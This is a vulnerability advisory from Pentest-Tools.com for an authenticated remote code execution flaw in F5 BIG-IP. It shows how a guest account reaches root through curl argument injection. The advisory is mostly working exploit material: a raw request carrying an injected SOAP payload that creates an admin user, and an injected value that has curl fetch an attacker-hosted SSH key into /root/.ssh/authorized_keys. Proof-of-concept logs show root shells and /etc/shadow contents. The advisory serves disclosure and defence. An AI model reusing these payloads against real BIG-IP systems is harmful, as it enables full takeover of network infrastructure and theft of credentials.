

PTT-2026-006 – F5 BIG-IP – Authenticated Remote Code Execution via cURL Argument Injection

CVE-ID: CVE-2026-66842

Credits:

Dan Stefan Alexandru of Pentest-Tools.com

Environment:

- F5 BIG-IP v21.1.0 Build 0.0.38, default LTM configuration
- Any authenticated TMUI user account (any role except "No Access")

CVSSv3: 8.8 High - AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Note: Any authenticated TMUI user, including the lowest-privilege Guest role (roleId=700), can achieve root-level Remote Code Execution on the underlying BIG-IP operating system.

Description:

F5 BIG-IP's TMUI (Traffic Management User Interface) contains a chain of vulnerabilities that allow any authenticated user, regardless of assigned role, to escalate privileges to root on the underlying operating system.

The "facade.jsp" endpoint dispatches requests to custom handler classes with an authorization check that only blocks the "No Access" role (roleId ≥ 900). All other roles, including the lowest-privilege Guest (roleId=700), pass this check and reach handler code intended exclusively for administrators.

The "MamCustomRequestHandler" triggers "Syscall.callElevated()" which executes the enrollment shell script "/usr/apm/bin/madm_enrollment.sh" as root. This script constructs a curl command with an unquoted shell variable "\$asgEnrollmentUrl", where the URL's hostname component "ha_addr" is fully attacker-controlled.

MCP (the internal protocol) preserves newlines and passes them to the script. Bash's IFS-driven word splitting on the unquoted variable converts these newlines into separate curl arguments, allowing the attacker to inject arbitrary curl flags.

We demonstrate two independent exploitation paths:

- **iControl SOAP SSRF:** The attacker uses the "--next" flag to pivot curl to the localhost iControl SOAP API, which Apache explicitly exempts from authentication for 127.0.0.0/8 source addresses. This allows creating an admin user via the "create_user_3" SOAP method without knowing any admin credentials, followed by REST API authentication and root command execution via "/mgmt/tm/util/bash".
- **SSH Key Write:** The attacker injects the "-o" flag to write their SSH public key to "/root/.ssh/authorized_keys" as root, then connects via SSH key authentication.

Requirements:

- A valid TMUI account on the target BIG-IP with any role except "No Access" (Guest, Operator, Resource Admin, Manager, or Admin)
- Network access to the BIG-IP management interface (HTTPS port 443)

Optionally, for the arbitrary file write vector, the attacker's machine must be reachable from the BIG-IP management interface on one TCP port. Alternatively, if BIG-IP is connected to the internet the attacker can host the payloads (e.g. SSH public key) on trusted sites (e.g. GitHub).

Proof of Concept:

1. iControl SOAP SSRF (--mode soap)

1.1. Authentication and CSRF:

The first step in performing the exploit is to authenticate via POST to `/tmui/logmein.html`, extract the session cookie, and fetch the CSRF tokens from `/tmui/tmui/saas/app/config.jsp`.

1.2. Create admin via iControl SOAP SSRF:

Once we obtain the session cookie and CSRF token, we can proceed to perform the newline injection via the following POST request:

```
POST /tmui/tmui/util/ajax/facade.jsp?query=custom&type=mam HTTP/1.1
Host: 192.168.215.128
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Referer: https://192.168.215.128/tmui/
Cookie: JSESSIONID=1EzkPQdiETGV5AGVdeTlxmkzOJdetqVK;
BIGIPAuthCookie=8FZO3C8BVkel4BWJJ4WRKRSRr4L6ONEDTUyxs96;
BIGIPAuthUsernameCookie=pentest_guest
Content-Length: 1633
Content-Type: application/json

{"jstype": "EnrollRequest", "changes": [{"values": {"name": {"value": "curl-injection"}, "ha_addr": {"value": "127.1#\\n--next\\n-X\\nPOST\\n-H\\nContent-Type:text/xml\\n-H\\nSOAPAction:urn:iControl:Management/UserManagement\\n--data-binary\\n<?xml\\nrversion=\\\"1.0\\\"\\rencoding=\\\"UTF-8\\\"?><soapenv:Envelope\\rxmlns:soapenv=\\\"http://schemas.xmlsoap.org/soap/envelope/\\\"\\rxmlns:man=\\\"urn:iControl:Management/UserManagement\\\"\\rxmlns:SOAP-ENC=\\\"http://schemas.xmlsoap.org/soap/encoding/\\\"\\rxmlns:xsi=\\\"http://www.w3.org/2001/XMLSchema-instance\\\"\\rxmlns:xsd=\\\"http://www.w3.org/2001/XMLSchema\\\"><soapenv:Body><man:create_user_3><users\\rSOAP-ENC:arrayType=\\\"man:Management.UserManagement.UserInfo[1]\\\"\\rxsi:type=\\\"SOAP-ENC:Array\\\"><item><user><name\\rxsi:type=\\\"xsd:string\\\">pentesttools_test2055</name><full_name\\rxsi:type=\\\"xsd:string\\\">pentesttools_test2055</full_name></user><password><is_encrypted\\rxsi:type=\\\"xsd:boolean\\\">false</is_encrypted><password\\rxsi:type=\\\"xsd:string\\\">Qscwvdv12_5724</password></password><permissions\\rSOAP-ENC:arrayType=\\\"man:Management.UserManagement.UserPermission[1]\\\"\\rxsi:type=\\\"SOAP-ENC:Array\\\"><item><role>USER_ROLE_ADMINISTRATOR</role><partition\\rxsi:type=\\\"xsd:string\\\">[All]</partition></item></permissions><login_shell\\rxsi:type=\\\"xsd:string\\\">/bin/bash</login_shell></item></users></man:create_user_3></soapenv:Body></soapenv:Envelope>\\nhttp://127.0.0.1/iControl/iControlPortal.cgi\\n--next\\n#\"}, \"fqdn\": {\"value\": \"localhost\"}, \"callback_url\": {\"value\": \"https://localhost/cb\"}, \"enc_key\": {\"value\": \"x/token\"}}}], \"requestID\": \"4bK4E1WiG1eQM1AW9hcUtiLNBQ=\", \"renderedTime\": \"Wed Jun 17 06:00:17 PDT 2026\"}
```

Note: Although the response to this request returns a HTTP 500 error, the SSRF succeeds and creates the admin user.

The unquoted variable in "madm_enrollment.sh" causes bash to split on newlines in the following form:

```
curl ... "http://127.1#/adam" --next
-X POST
-H Content-Type:text/xml
-H SOAPAction:urn:iControl:Management/UserManagement
--data-binary '<?xml version="1.0" encoding="UTF-8"?> <soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:man="urn:iControl:Management/UserManagement"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soapenv:Body><man:create_user_3>
<users SOAP-ENC:arrayType="man:Management.UserManagement.UserInfo3[1]"
xsi:type="SOAP-ENC:Array"><item><user><name
xsi:type="xsd:string">pentesttools_test2055</name><full_name
xsi:type="xsd:string">pentesttools_test2055</full_name></user><password><is_encrypted
xsi:type="xsd:boolean">false</is_encrypted><password
xsi:type="xsd:string">Qscw dv12_5724</password></password><permissions
SOAP-ENC:arrayType="man:Management.UserManagement.UserPermission[1]"
xsi:type="SOAP-ENC:Array"><item><role>USER_ROLE_ADMINISTRATOR</role><partition
xsi:type="xsd:string">[All]</partition></item></permissions><login_shell
xsi:type="xsd:string">/bin/bash</login_shell></item></users></man:create_user_3></soapenv:Bo
dy></soapenv:Envelope>'
http://127.0.0.1/iControl/iControlPortal.cgi
--next # ...
```

"curl" will make the first request to "127.1" (the short form of localhost). This request isn't interesting on its own, but it must point to a valid HTTP(S) server to launch the next crafted request.

The next request performed by curl, included in the aptly named "next" parameter, contains our malicious crafted exploit. This time a POST request will be made to the internal "http://127.0.0.1/iControl/iControlPortal.cgi" endpoint with a "create_user_3" SOAP XML payload.

Note: Alternatively a "change_password_2" request may be used to modify the password of an existing admin user for the same effect.

This call works without user authentication as Apache exempts localhost from PAM authentication, so iControl SOAP processes the request and creates an admin user.

1.3. Authenticate as the new admin user:

The last step in the process is to authenticate to the REST API as the newly created admin user and confirm root command execution via "/mgmt/tm/util/bash".

In order to automate all these steps we created a script that authenticates using valid credentials as a guest user and uses the newline injection to create a new admin user.

```

L$ sudo python3 /poc.py \
--target 192.168.1.100 \
--attacker-ip 192.168.1.101 \
--guest-user pe \
--guest-pass G \
--mode soap

F5 BIG-IP 21.1.0 - Guest to Root Privilege Escalation
CVSS 9.9 | CWE-862 + CWE-918 + CWE-88 + CWE-73
facade.jsp → SSRF → curl arg injection → root

Target: 192.168.1.100
Attacker: 192.168.1.101
Guest: pe
Mode: soap
New user: poc_admin

[+] [Phase 1] Authenticating as Guest ...
[+] [Phase 1] Login successful - cookie: mhfg3scfhmwz7silN5ih...
[+] [Phase 1] Fetching CSRF tokens from config.jsp ...
[+] [Phase 1] CSRF: bufvalue=IDV5xvnJhfrUR+gG+rvq... timenow=Sat Jun 13 10:45:00 PDT 2026
[+] [Phase 1] Validating CSRF with test ReadRequest ...
[+] [Phase 1] CSRF validated - facade.jsp responds to ReadRequest

[+] [Phase 2] Validating SSRF ...
[+] [Phase 2] Listener started on 0.0.0.0:80
[+] [Phase 2] EnrollRequest sent - status 200
[+] [Phase 2] BIG-IP connected from 192.168.1.101:37946
[+] [Phase 2] Confirmed User-Agent: BIG-IP
[+] [Phase 2] Version leaked: 21.1.0
[+] [Phase 2] SSRF CONFIRMED

[+] [Phase 3a] Delivering create_user_3 SOAP payload to BIG-IP ...
[+] [Phase 3a] Serving SOAP XML (1357 bytes) on port 80
[+] [Phase 3a] EnrollRequest sent - status 200
[+] [Phase 3a] BIG-IP connected from 192.168.1.101:37946
[+] [Phase 3a] SOAP payload written to /tmp/f5-soap-payload.xml
[+] [Phase 3b] Triggering create_user_3 via --next injection ...
[+] [Phase 3b] EnrollRequest sent - status 200
[+] [Phase 3b] BIG-IP connected from 192.168.1.101:37946 (initial curl request)
[+] [Phase 3b] iControl SOAP create_user_3 triggered via --next
[+] [Phase 3b] User 'poc_admin' creation request sent with role ADMINISTRATOR
[+] [Phase 3c] Delivering change_password_2 SOAP payload ...
[+] [Phase 3c] Serving change_password XML (955 bytes) on port 80
[+] [Phase 3c] EnrollRequest sent - status 200
[+] [Phase 3c] change_password_2 payload written to /tmp/f5-soap-chpw.xml
[+] [Phase 3d] Triggering change_password_2 via --next injection ...
[+] [Phase 3d] EnrollRequest sent - status 200
[+] [Phase 3d] BIG-IP connected from 192.168.1.101:37946
[+] [Phase 3d] change_password_2 triggered - REST API password initialized
[+] [Phase 3d] ADMIN USER 'poc_admin' CREATED AND ACTIVATED

[+] [Phase 4] Authenticating as poc_admin via REST API ...
[+] [Phase 4] REST API token: GKCKLCFYLWIR6E5A6OV ...
[+] [Phase 4] Executing proof commands via /mgmt/tm/util/bash ...
[+] [Phase 4] uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0
[+] [Phase 4] root
[+] [Phase 4] bigip1.test.local
[+] [Phase 4] BIG-IP release 21.1.0 (Final)
[+] [Phase 4] root:$6$Kiy...qTXU.:20615:0:99999:7:::
[+] [Phase 4] bin:*:17192:0:99999:7:::
[+] [Phase 4] daemon:*:17192:0:99999:7:::
[+] [Phase 4] ROOT COMMAND EXECUTION CONFIRMED
[+] [Phase 4] Writing SSH key via REST API for interactive shell ...
[+] [Phase 4] SSH key written to /var/ssh/root/authorized_keys via REST
[+] [Phase 4] Connecting as root via SSH key auth ...

[v] [Phase 4] Dropping into interactive shell (type 'exit' or Ctrl+D to quit)...
Last login: Sat Jun 13 10:42:07 2026 from 192.168.215.129
[root@bigip1:Active:Standalone] config # ls
aaa          cipher.conf  merged.conf

```

2. SSH Key Write (--mode ssh)

Phase 1 is identical to the ones described above.

2.2. SSH Key Write:

In this case we will point curl to an attacker controlled server and leverage the "-o" flag to write our malicious response content to any arbitrary file. This can be achieved via the following "ha_addr" value:

```
<ATTACKER_IP>\n-o\n/root/.ssh/authorized_keys\n#
```

Note: <ATTACKER_IP> needs to be replaced with the location of where the malicious SSH public key content is hosted.

Once the above value reaches the server, the backend generates the following "curl" command:

```
curl ... http://<ATTACKER_IP>/adam/... -o /root/.ssh/authorized_keys #...
```

This writes the attacker's public key to "/root/.ssh/authorized_keys" as root. The "#" comments out the remainder of the original URL.

2.3. SSH as Root:

Once we write the SSH key, we can proceed to connect via SSH as the root user.

Once again we have automated these steps in a script that generates an SSH key, sets up a HTTP server reachable by the target, and that writes the arbitrary key into "root"'s "~/.ssh/authorized_keys" file.

```

$ sudo python3 poc.py \
--target 192.168.1.100 \
--attacker-ip 192.168.1.101 \
--guest-user guest \
--guest-pass 123456 \
--mode ssh

F5 BIG-IP 21.1.0 - Guest to Root Privilege Escalation
CVSS 9.9 | CWE-862 + CWE-918 + CWE-88 + CWE-73
facade.jsp → SSRF → curl arg injection → root

Target: 192.168.1.100
Attacker: 192.168.1.101
Guest: guest
Mode: ssh

[+] Generated Ed25519 key pair
[+] Public key: ssh-ed25519 AAAAC3NzaC1lbnRpdjE0H2Q...

[+] [Phase 1] Authenticating as Guest...
[+] [Phase 1] Login successful - cookie: iZu5R0QTz0utROedKRxx...
[+] [Phase 1] Fetching CSRF tokens from config.jsp...
[+] [Phase 1] CSRF: bufvalue=EM2wq/BiVSTG8G7enRIH... timenow=Sun Jun 14 08:01:14 PDT 2026
[+] [Phase 1] Validating CSRF with test ReadRequest...
[+] [Phase 1] CSRF validated - facade.jsp responds to ReadRequest

[+] [Phase 2] Validating SSRF...
[+] [Phase 2] Listener started on 0.0.0.0:80
[+] [Phase 2] EnrollRequest sent - status 200
[+] [Phase 2] BIG-IP connected from 192.168.1.101
[+] [Phase 2] Confirmed User-Agent: BIG-IP
[+] [Phase 2] Version leaked: 21.1.0
[+] [Phase 2] SSRF CONFIRMED

[+] [Phase 3] Writing SSH key to /root/.ssh/authorized_keys...
[+] [Phase 3] Serving public key via HTTP/0.9 on port 80
[+] [Phase 3] EnrollRequest sent - status 200
[+] [Phase 3] BIG-IP connected from 192.168.1.101
[+] [Phase 3] Public key delivered (HTTP/0.9, no headers)
[+] [Phase 3] SSH KEY WRITTEN to /root/.ssh/authorized_keys

[+] [Phase 4] Connecting as root via SSH key auth...
[+] [Phase 4] # id
[+] [Phase 4] uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[+] [Phase 4] # whoami
[+] [Phase 4] root
[+] [Phase 4] # hostname
[+] [Phase 4] Use the TMOS shell utility to make changes to the system configuration.
[+] [Phase 4] For more information, see "tmsh help sys global-settings."
[+] [Phase 4] # cat /etc/f5-release 2>/dev/null || cat /VERSION 2>/dev/null
[+] [Phase 4] BIG-IP release 21.1.0 (Final)
[+] [Phase 4] # head -3 /etc/shadow
[+] [Phase 4] root:$6$K...:20615:0:99999:7:::
[+] [Phase 4] bin:*:17192:0:99999:7:::
[+] [Phase 4] daemon:*:17192:0:99999:7:::
[+] [Phase 4] ROOT ACCESS CONFIRMED

[v] [Phase 4] Dropping into interactive shell (type 'exit' or Ctrl+D to quit)...
Last login: Sat Jun 13 10:46:19 2026 from 192.168.1.101
[root@bigip1:Active:Standalone] config # whoami
-bash: whoami: command not found
[root@bigip1:Active:Standalone] config # whoami
root
[root@bigip1:Active:Standalone] config # cat /etc/passwd
root:x:0:0:root:/root:/bin/bash

```

From vulnerability scans to proof, **Pentest-Tools.com** gives 2,000+ security teams in 119 countries the speed, accuracy, and coverage to confidently validate and mitigate risks across their infrastructure (network, cloud, web apps, APIs).